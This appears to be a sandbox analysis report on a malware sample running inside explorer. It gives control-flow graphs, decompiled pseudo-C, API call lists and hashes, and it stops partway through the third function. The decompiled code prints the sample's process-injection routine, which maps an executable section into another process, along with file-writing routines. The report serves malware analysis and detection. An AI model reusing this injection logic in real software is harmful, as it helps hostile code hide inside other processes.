                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 178 10fa310-10fa321 179 10fa32b-10fa335 178->179 180 10fa323-10fa326 178->180 182 10fa33f-10fa343 179->182 183 10fa337-10fa33c call 10f8280 179->183 181 10fa4f4-10fa4f7 180->181 185 10fa349-10fa35c call 10f82c0 182->185 186 10fa4f1 182->186 183->182 185->186 190 10fa362-10fa36f 185->190 186->181 190->186 191 10fa375-10fa3b3 call 10f16e0 NtCreateSection 190->191 191->186 194 10fa3b9-10fa3f2 call 10f16e0 NtMapViewOfSection 191->194 197 10fa3f8-10fa442 call 10f16e0 * 2 NtMapViewOfSection 194->197 198 10fa4e4-10fa4ef call 10f16e0 NtClose 194->198 197->198 206 10fa448-10fa470 197->206 198->186 207 10fa496-10fa49a 206->207 208 10fa472-10fa476 206->208 210 10fa49c-10fa4a8 207->210 211 10fa4aa-10fa4b3 207->211 208->207 209 10fa478-10fa493 call 10f85e0 208->209 209->207 212 10fa4b6-10fa4ba 210->212 211->212 214 10fa4bc-10fa4c9 call 10f16e0 212->214 215 10fa4d1-10fa4e2 call 10f16e0 NtUnmapViewOfSection 212->215 214->215 215->198
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 86%
                                                                                                                                                                                                                                                                                                      			E010FA310(void* __ecx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				void* _v20;
                                                                                                                                                                                                                                                                                                      				void* _v24;
                                                                                                                                                                                                                                                                                                      				void* _v28;
                                                                                                                                                                                                                                                                                                      				void* _v32;
                                                                                                                                                                                                                                                                                                      				long _v36;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v40;
                                                                                                                                                                                                                                                                                                      				long _v44;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v48;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v52;
                                                                                                                                                                                                                                                                                                      				void* _v56;
                                                                                                                                                                                                                                                                                                      				long _t82;
                                                                                                                                                                                                                                                                                                      				long _t86;
                                                                                                                                                                                                                                                                                                      				long _t96;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v24 = 0xffffffff;
                                                                                                                                                                                                                                                                                                      				if(_a12 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v24;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_v8 = _a8;
                                                                                                                                                                                                                                                                                                      				if(_v8 == 0) {
                                                                                                                                                                                                                                                                                                      					_v8 = E010F8280(__ecx);
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      					_v12 = E010F82C0(_v8);
                                                                                                                                                                                                                                                                                                      					if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      						_v16 =  *((intOrPtr*)(_v12 + 0x50));
                                                                                                                                                                                                                                                                                                      						if(_v16 != 0) {
                                                                                                                                                                                                                                                                                                      							_v32 = 0;
                                                                                                                                                                                                                                                                                                      							_v56 = _v16;
                                                                                                                                                                                                                                                                                                      							_v52 = 0;
                                                                                                                                                                                                                                                                                                      							E010F16E0();
                                                                                                                                                                                                                                                                                                      							_t82 = NtCreateSection( &_v32, 0xf001f, 0,  &_v56, 0x40, 0x8000000, 0); // executed
                                                                                                                                                                                                                                                                                                      							_v44 = _t82;
                                                                                                                                                                                                                                                                                                      							if(_v44 >= 0) {
                                                                                                                                                                                                                                                                                                      								_v20 = 0;
                                                                                                                                                                                                                                                                                                      								_v36 = 0;
                                                                                                                                                                                                                                                                                                      								E010F16E0();
                                                                                                                                                                                                                                                                                                      								_t86 = NtMapViewOfSection(_v32, 0xffffffff,  &_v20, 0, _v16, 0,  &_v36, 1, 0, 4); // executed
                                                                                                                                                                                                                                                                                                      								if(_t86 >= 0) {
                                                                                                                                                                                                                                                                                                      									_push(_v16);
                                                                                                                                                                                                                                                                                                      									_push(_v8);
                                                                                                                                                                                                                                                                                                      									_push(_v20);
                                                                                                                                                                                                                                                                                                      									 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x30))))();
                                                                                                                                                                                                                                                                                                      									_v28 = 0;
                                                                                                                                                                                                                                                                                                      									E010F16E0();
                                                                                                                                                                                                                                                                                                      									_t96 = NtMapViewOfSection(_v32, _a4,  &_v28, 0, _v16, 0,  &_v36, 1, 0, 0x40); // executed
                                                                                                                                                                                                                                                                                                      									if(_t96 >= 0) {
                                                                                                                                                                                                                                                                                                      										_v40 =  *((intOrPtr*)(_v12 + 0xa0));
                                                                                                                                                                                                                                                                                                      										_v48 =  *((intOrPtr*)(_v12 + 0xa4));
                                                                                                                                                                                                                                                                                                      										if(_v40 != 0 && _v48 != 0) {
                                                                                                                                                                                                                                                                                                      											E010F85E0(_v20, _v28 - _v8, _v12, _v8 + _v40);
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										if(_a12 != 0) {
                                                                                                                                                                                                                                                                                                      											_v24 = _a12 - _v8 + _v28;
                                                                                                                                                                                                                                                                                                      										} else {
                                                                                                                                                                                                                                                                                                      											_v24 =  *((intOrPtr*)(_v12 + 0x28)) + _v28;
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										if(_v24 == 0xffffffff) {
                                                                                                                                                                                                                                                                                                      											_push(_v20);
                                                                                                                                                                                                                                                                                                      											_push(_a4);
                                                                                                                                                                                                                                                                                                      											 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0xe0))))();
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										E010F16E0();
                                                                                                                                                                                                                                                                                                      										NtUnmapViewOfSection(0xffffffff, _v20); // executed
                                                                                                                                                                                                                                                                                                      									}
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								E010F16E0();
                                                                                                                                                                                                                                                                                                      								NtClose(_v32); // executed
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v24;
                                                                                                                                                                                                                                                                                                      			}



















                                                                                                                                                                                                                                                                                                      0x010fa316
                                                                                                                                                                                                                                                                                                      0x010fa321
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010fa323
                                                                                                                                                                                                                                                                                                      0x010fa32e
                                                                                                                                                                                                                                                                                                      0x010fa335
                                                                                                                                                                                                                                                                                                      0x010fa33c
                                                                                                                                                                                                                                                                                                      0x010fa33c
                                                                                                                                                                                                                                                                                                      0x010fa343
                                                                                                                                                                                                                                                                                                      0x010fa355
                                                                                                                                                                                                                                                                                                      0x010fa35c
                                                                                                                                                                                                                                                                                                      0x010fa368
                                                                                                                                                                                                                                                                                                      0x010fa36f
                                                                                                                                                                                                                                                                                                      0x010fa375
                                                                                                                                                                                                                                                                                                      0x010fa381
                                                                                                                                                                                                                                                                                                      0x010fa384
                                                                                                                                                                                                                                                                                                      0x010fa39f
                                                                                                                                                                                                                                                                                                      0x010fa3aa
                                                                                                                                                                                                                                                                                                      0x010fa3ac
                                                                                                                                                                                                                                                                                                      0x010fa3b3
                                                                                                                                                                                                                                                                                                      0x010fa3b9
                                                                                                                                                                                                                                                                                                      0x010fa3c0
                                                                                                                                                                                                                                                                                                      0x010fa3e3
                                                                                                                                                                                                                                                                                                      0x010fa3ee
                                                                                                                                                                                                                                                                                                      0x010fa3f2
                                                                                                                                                                                                                                                                                                      0x010fa3fb
                                                                                                                                                                                                                                                                                                      0x010fa3ff
                                                                                                                                                                                                                                                                                                      0x010fa403
                                                                                                                                                                                                                                                                                                      0x010fa40c
                                                                                                                                                                                                                                                                                                      0x010fa40e
                                                                                                                                                                                                                                                                                                      0x010fa433
                                                                                                                                                                                                                                                                                                      0x010fa43e
                                                                                                                                                                                                                                                                                                      0x010fa442
                                                                                                                                                                                                                                                                                                      0x010fa457
                                                                                                                                                                                                                                                                                                      0x010fa469
                                                                                                                                                                                                                                                                                                      0x010fa470
                                                                                                                                                                                                                                                                                                      0x010fa48e
                                                                                                                                                                                                                                                                                                      0x010fa493
                                                                                                                                                                                                                                                                                                      0x010fa49a
                                                                                                                                                                                                                                                                                                      0x010fa4b3
                                                                                                                                                                                                                                                                                                      0x010fa49c
                                                                                                                                                                                                                                                                                                      0x010fa4a5
                                                                                                                                                                                                                                                                                                      0x010fa4a5
                                                                                                                                                                                                                                                                                                      0x010fa4ba
                                                                                                                                                                                                                                                                                                      0x010fa4bf
                                                                                                                                                                                                                                                                                                      0x010fa4c3
                                                                                                                                                                                                                                                                                                      0x010fa4cf
                                                                                                                                                                                                                                                                                                      0x010fa4cf
                                                                                                                                                                                                                                                                                                      0x010fa4d7
                                                                                                                                                                                                                                                                                                      0x010fa4e2
                                                                                                                                                                                                                                                                                                      0x010fa4e2
                                                                                                                                                                                                                                                                                                      0x010fa442
                                                                                                                                                                                                                                                                                                      0x010fa4e8
                                                                                                                                                                                                                                                                                                      0x010fa4ef
                                                                                                                                                                                                                                                                                                      0x010fa4ef
                                                                                                                                                                                                                                                                                                      0x010fa3b3
                                                                                                                                                                                                                                                                                                      0x010fa36f
                                                                                                                                                                                                                                                                                                      0x010fa35c
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateSection.NTDLL(00000000,000F001F,00000000,?,00000040,08000000,00000000), ref: 010FA3AA
                                                                                                                                                                                                                                                                                                      • NtMapViewOfSection.NTDLL(00000000,000000FF,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 010FA3EE
                                                                                                                                                                                                                                                                                                      • NtMapViewOfSection.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000040), ref: 010FA43E
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Section$View$Create
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 33071139-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: e4e0094006b927844c0d5a3f5790dfecec0fb2de10006dfe182369671238a168
                                                                                                                                                                                                                                                                                                      • Instruction ID: 2e8459549849241902928fbeb5f69b2a985de584f291189f6524e1710a802d9d
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e4e0094006b927844c0d5a3f5790dfecec0fb2de10006dfe182369671238a168
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5A61EC75A00209EFDB14DFD8C895FEEB7B5BF88310F14825DE654AB290DB74AA40CB94
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 221 10f6750-10f6761 222 10f676f-10f6772 221->222 223 10f6763-10f6767 221->223 225 10f6966-10f6969 222->225 223->222 224 10f6769-10f676d 223->224 224->222 226 10f6777-10f678c call 10f6970 224->226 229 10f678e-10f67ad call 10f6370 call 10f63c0 226->229 230 10f67b0-10f67ce call 10f16e0 226->230 229->230 238 10f67d4-10f684c call 10f16e0 * 2 NtCreateFile 230->238 239 10f6963 230->239 245 10f6932-10f6936 238->245 246 10f6852-10f68a5 call 10f16e0 238->246 239->225 247 10f694a-10f695e call 10fd560 call 10f16e0 245->247 248 10f6938-10f6947 call 10f63c0 245->248 258 10f68a7-10f68ee call 10f16e0 * 2 NtWriteFile 246->258 259 10f6925-10f692e call 10f16e0 246->259 247->239 248->247 267 10f690b-10f690f 258->267 268 10f68f0-10f6908 call 10f16e0 258->268 259->245 270 10f6918-10f6923 call 10f16e0 NtClose 267->270 271 10f6911 267->271 268->267 270->259 271->270
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 50%
                                                                                                                                                                                                                                                                                                      			E010F6750(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				void* _v16;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v20;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v24;
                                                                                                                                                                                                                                                                                                      				void* _v32;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v36;
                                                                                                                                                                                                                                                                                                      				char _v40;
                                                                                                                                                                                                                                                                                                      				char _v48;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v52;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v56;
                                                                                                                                                                                                                                                                                                      				long _v60;
                                                                                                                                                                                                                                                                                                      				char* _v64;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v68;
                                                                                                                                                                                                                                                                                                      				void* _v72;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v76;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v80;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v84;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v88;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v92;
                                                                                                                                                                                                                                                                                                      				char _v96;
                                                                                                                                                                                                                                                                                                      				void* _t71;
                                                                                                                                                                                                                                                                                                      				long _t82;
                                                                                                                                                                                                                                                                                                      				long _t100;
                                                                                                                                                                                                                                                                                                      				void* _t134;
                                                                                                                                                                                                                                                                                                      				void* _t135;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v24 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0 || _a12 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v24;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_v20 = 0;
                                                                                                                                                                                                                                                                                                      					_t71 = E010F6970(_a4); // executed
                                                                                                                                                                                                                                                                                                      					_t135 = _t134 + 4;
                                                                                                                                                                                                                                                                                                      					if(_t71 != 0) {
                                                                                                                                                                                                                                                                                                      						_v20 = E010F6370(_a4);
                                                                                                                                                                                                                                                                                                      						E010F63C0(_a4, 0x80, 0);
                                                                                                                                                                                                                                                                                                      						_t135 = _t135 + 0x10;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v40);
                                                                                                                                                                                                                                                                                                      					_push(_a4);
                                                                                                                                                                                                                                                                                                      					if(( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x170))))() & 0x000000ff) != 0) {
                                                                                                                                                                                                                                                                                                      						_v72 = 0x18;
                                                                                                                                                                                                                                                                                                      						_v68 = 0;
                                                                                                                                                                                                                                                                                                      						_v60 = 0x40;
                                                                                                                                                                                                                                                                                                      						_v64 =  &_v40;
                                                                                                                                                                                                                                                                                                      						_v56 = 0;
                                                                                                                                                                                                                                                                                                      						_v52 = 0;
                                                                                                                                                                                                                                                                                                      						_push(8);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( &_v32);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      						_v16 = 0;
                                                                                                                                                                                                                                                                                                      						E010F16E0();
                                                                                                                                                                                                                                                                                                      						_t82 = NtCreateFile( &_v16, 0x100002,  &_v72,  &_v32, 0, 0x80, 2, 5, 0x40, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      						_v8 = _t82;
                                                                                                                                                                                                                                                                                                      						if(_v8 >= 0) {
                                                                                                                                                                                                                                                                                                      							_v96 = 0x18;
                                                                                                                                                                                                                                                                                                      							_v92 = 0;
                                                                                                                                                                                                                                                                                                      							_v84 = 0;
                                                                                                                                                                                                                                                                                                      							_v88 = 0;
                                                                                                                                                                                                                                                                                                      							_v80 = 0;
                                                                                                                                                                                                                                                                                                      							_v76 = 0;
                                                                                                                                                                                                                                                                                                      							_v12 = 0;
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(1);
                                                                                                                                                                                                                                                                                                      							_push( &_v96);
                                                                                                                                                                                                                                                                                                      							_push(0x1f0003);
                                                                                                                                                                                                                                                                                                      							_push( &_v12);
                                                                                                                                                                                                                                                                                                      							_v8 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x3c))))();
                                                                                                                                                                                                                                                                                                      							if(_v8 >= 0) {
                                                                                                                                                                                                                                                                                                      								_push(8);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push( &_v48);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push( &_v48);
                                                                                                                                                                                                                                                                                                      								_push(_a12);
                                                                                                                                                                                                                                                                                                      								_push(_a8);
                                                                                                                                                                                                                                                                                                      								_push( &_v32);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								_push(_v16);
                                                                                                                                                                                                                                                                                                      								_t100 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0xc0))))(); // executed
                                                                                                                                                                                                                                                                                                      								_v8 = _t100;
                                                                                                                                                                                                                                                                                                      								if(_v8 == 0x103) {
                                                                                                                                                                                                                                                                                                      									_push(0);
                                                                                                                                                                                                                                                                                                      									_push(0);
                                                                                                                                                                                                                                                                                                      									_push(_v12);
                                                                                                                                                                                                                                                                                                      									_v8 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x48))))();
                                                                                                                                                                                                                                                                                                      									_v8 = _v32;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								if(_v8 >= 0) {
                                                                                                                                                                                                                                                                                                      									_v24 = 1;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								E010F16E0();
                                                                                                                                                                                                                                                                                                      								NtClose(_v12); // executed
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							_push(_v16);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E010F16E0()))))();
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						if(_v20 != 0) {
                                                                                                                                                                                                                                                                                                      							E010F63C0(_a4, _v20, 0);
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(_v36);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( *((intOrPtr*)(E010FD560() + 0x18)));
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x28))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v24;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}





























                                                                                                                                                                                                                                                                                                      0x010f6756
                                                                                                                                                                                                                                                                                                      0x010f6761
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f6777
                                                                                                                                                                                                                                                                                                      0x010f6777
                                                                                                                                                                                                                                                                                                      0x010f6782
                                                                                                                                                                                                                                                                                                      0x010f6787
                                                                                                                                                                                                                                                                                                      0x010f678c
                                                                                                                                                                                                                                                                                                      0x010f679a
                                                                                                                                                                                                                                                                                                      0x010f67a8
                                                                                                                                                                                                                                                                                                      0x010f67ad
                                                                                                                                                                                                                                                                                                      0x010f67ad
                                                                                                                                                                                                                                                                                                      0x010f67b0
                                                                                                                                                                                                                                                                                                      0x010f67b2
                                                                                                                                                                                                                                                                                                      0x010f67b7
                                                                                                                                                                                                                                                                                                      0x010f67bb
                                                                                                                                                                                                                                                                                                      0x010f67ce
                                                                                                                                                                                                                                                                                                      0x010f67d4
                                                                                                                                                                                                                                                                                                      0x010f67db
                                                                                                                                                                                                                                                                                                      0x010f67e2
                                                                                                                                                                                                                                                                                                      0x010f67ec
                                                                                                                                                                                                                                                                                                      0x010f67ef
                                                                                                                                                                                                                                                                                                      0x010f67f6
                                                                                                                                                                                                                                                                                                      0x010f67fd
                                                                                                                                                                                                                                                                                                      0x010f67ff
                                                                                                                                                                                                                                                                                                      0x010f6804
                                                                                                                                                                                                                                                                                                      0x010f680d
                                                                                                                                                                                                                                                                                                      0x010f680f
                                                                                                                                                                                                                                                                                                      0x010f6838
                                                                                                                                                                                                                                                                                                      0x010f6843
                                                                                                                                                                                                                                                                                                      0x010f6845
                                                                                                                                                                                                                                                                                                      0x010f684c
                                                                                                                                                                                                                                                                                                      0x010f6852
                                                                                                                                                                                                                                                                                                      0x010f6859
                                                                                                                                                                                                                                                                                                      0x010f6860
                                                                                                                                                                                                                                                                                                      0x010f6867
                                                                                                                                                                                                                                                                                                      0x010f686e
                                                                                                                                                                                                                                                                                                      0x010f6875
                                                                                                                                                                                                                                                                                                      0x010f687c
                                                                                                                                                                                                                                                                                                      0x010f6883
                                                                                                                                                                                                                                                                                                      0x010f6885
                                                                                                                                                                                                                                                                                                      0x010f688a
                                                                                                                                                                                                                                                                                                      0x010f688b
                                                                                                                                                                                                                                                                                                      0x010f6893
                                                                                                                                                                                                                                                                                                      0x010f689e
                                                                                                                                                                                                                                                                                                      0x010f68a5
                                                                                                                                                                                                                                                                                                      0x010f68a7
                                                                                                                                                                                                                                                                                                      0x010f68a9
                                                                                                                                                                                                                                                                                                      0x010f68ae
                                                                                                                                                                                                                                                                                                      0x010f68b7
                                                                                                                                                                                                                                                                                                      0x010f68b9
                                                                                                                                                                                                                                                                                                      0x010f68be
                                                                                                                                                                                                                                                                                                      0x010f68c2
                                                                                                                                                                                                                                                                                                      0x010f68c6
                                                                                                                                                                                                                                                                                                      0x010f68ca
                                                                                                                                                                                                                                                                                                      0x010f68cb
                                                                                                                                                                                                                                                                                                      0x010f68cd
                                                                                                                                                                                                                                                                                                      0x010f68d2
                                                                                                                                                                                                                                                                                                      0x010f68d6
                                                                                                                                                                                                                                                                                                      0x010f68e2
                                                                                                                                                                                                                                                                                                      0x010f68e4
                                                                                                                                                                                                                                                                                                      0x010f68ee
                                                                                                                                                                                                                                                                                                      0x010f68f0
                                                                                                                                                                                                                                                                                                      0x010f68f2
                                                                                                                                                                                                                                                                                                      0x010f68f7
                                                                                                                                                                                                                                                                                                      0x010f6902
                                                                                                                                                                                                                                                                                                      0x010f6908
                                                                                                                                                                                                                                                                                                      0x010f6908
                                                                                                                                                                                                                                                                                                      0x010f690f
                                                                                                                                                                                                                                                                                                      0x010f6911
                                                                                                                                                                                                                                                                                                      0x010f6911
                                                                                                                                                                                                                                                                                                      0x010f691c
                                                                                                                                                                                                                                                                                                      0x010f6923
                                                                                                                                                                                                                                                                                                      0x010f6923
                                                                                                                                                                                                                                                                                                      0x010f6928
                                                                                                                                                                                                                                                                                                      0x010f6930
                                                                                                                                                                                                                                                                                                      0x010f6930
                                                                                                                                                                                                                                                                                                      0x010f6936
                                                                                                                                                                                                                                                                                                      0x010f6942
                                                                                                                                                                                                                                                                                                      0x010f6947
                                                                                                                                                                                                                                                                                                      0x010f694d
                                                                                                                                                                                                                                                                                                      0x010f694e
                                                                                                                                                                                                                                                                                                      0x010f6958
                                                                                                                                                                                                                                                                                                      0x010f6961
                                                                                                                                                                                                                                                                                                      0x010f6961
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f6963

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00100002,00000018,?,00000000,00000080,00000002,00000005,00000040,00000000,00000000), ref: 010F6843
                                                                                                                                                                                                                                                                                                      • NtWriteFile.NTDLL(00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 010F68E2
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(00000000), ref: 010F6923
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateWrite
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 2708586012-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: c50d64ce4630048822130bcc2ea41ddd00ec737d77a9c94a98fe3a94b749a227
                                                                                                                                                                                                                                                                                                      • Instruction ID: 4188b1836fb7977a9880266b443fd084b788495292bbbfb28190bf380d1b9ed0
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c50d64ce4630048822130bcc2ea41ddd00ec737d77a9c94a98fe3a94b749a227
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 80610FB5A00209EFEB14DFD4CC56FEE77B4AF48704F10815CE644AB290DBB6AA44CB94
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 276 10f63c0-10f63d1 277 10f63d9-10f63dc 276->277 278 10f63d3-10f63d7 276->278 280 10f6515-10f6518 277->280 278->277 279 10f63e1-10f63ff call 10f16e0 278->279 284 10f6405-10f6452 call 10f16e0 279->284 285 10f6512 279->285 289 10f645b-10f6493 call 10f16e0 NtCreateFile 284->289 290 10f6454 284->290 285->280 293 10f64f9-10f650d call 10fd560 call 10f16e0 289->293 294 10f6495-10f64e3 call 10f16e0 * 3 NtSetInformationFile 289->294 290->289 293->285 307 10f64ec-10f64f5 call 10f16e0 294->307 308 10f64e5 294->308 307->293 308->307
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 46%
                                                                                                                                                                                                                                                                                                      			E010F63C0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				long _v20;
                                                                                                                                                                                                                                                                                                      				void* _v28;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v32;
                                                                                                                                                                                                                                                                                                      				char _v36;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v40;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v44;
                                                                                                                                                                                                                                                                                                      				long _v48;
                                                                                                                                                                                                                                                                                                      				char* _v52;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v56;
                                                                                                                                                                                                                                                                                                      				void* _v60;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v68;
                                                                                                                                                                                                                                                                                                      				char _v100;
                                                                                                                                                                                                                                                                                                      				long _t57;
                                                                                                                                                                                                                                                                                                      				long _t70;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v16 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v16;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v36);
                                                                                                                                                                                                                                                                                                      					_push(_a4);
                                                                                                                                                                                                                                                                                                      					if(( *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x170))))() & 0x000000ff) != 0) {
                                                                                                                                                                                                                                                                                                      						_v60 = 0x18;
                                                                                                                                                                                                                                                                                                      						_v56 = 0;
                                                                                                                                                                                                                                                                                                      						_v48 = 0x40;
                                                                                                                                                                                                                                                                                                      						_v52 =  &_v36;
                                                                                                                                                                                                                                                                                                      						_v44 = 0;
                                                                                                                                                                                                                                                                                                      						_v40 = 0;
                                                                                                                                                                                                                                                                                                      						_push(8);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( &_v28);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      						_v12 = 0;
